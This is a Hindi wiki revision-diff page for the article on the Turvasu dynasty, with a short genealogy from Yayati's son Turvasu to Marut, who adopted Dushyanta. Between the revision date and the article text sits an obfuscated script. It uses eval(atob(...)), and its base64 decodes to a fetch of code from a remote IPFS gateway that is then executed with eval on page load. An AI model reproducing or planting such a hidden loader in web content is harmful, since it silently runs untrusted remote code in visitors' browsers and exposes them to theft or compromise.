"तुर्वसु वंश" के अवतरणों में अंतर
नेविगेशन पर जाएँ
खोज पर जाएँ
छो |
|||
पंक्ति ९: | पंक्ति ९: | ||
[[श्रेणी: कोश]] | [[श्रेणी: कोश]] | ||
[[category:पौराणिक इतिहास]] | [[category:पौराणिक इतिहास]] | ||
+ | __INDEX__ |
०८:०९, १२ नवम्बर २००९ का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
तुर्वसु वंश / Turvasu vansh
- ययाति के पुत्र तुर्वसु का वह्नि, वह्नि का भर्ग, भर्ग का भानुमान, भानुमान का त्रिभानु, त्रिभानु का उदारबुद्धि करन्धम और करन्धम का पुत्र हुआ मरूत।
- मरूत सन्तानहीन था। इसलिये उसने पुरू वंशी दुष्यन्त को अपना पुत्र बनाकर रखा था।
- परन्तु दुष्यन्त राज्य की कामना से अपने ही वंश में लौट गये।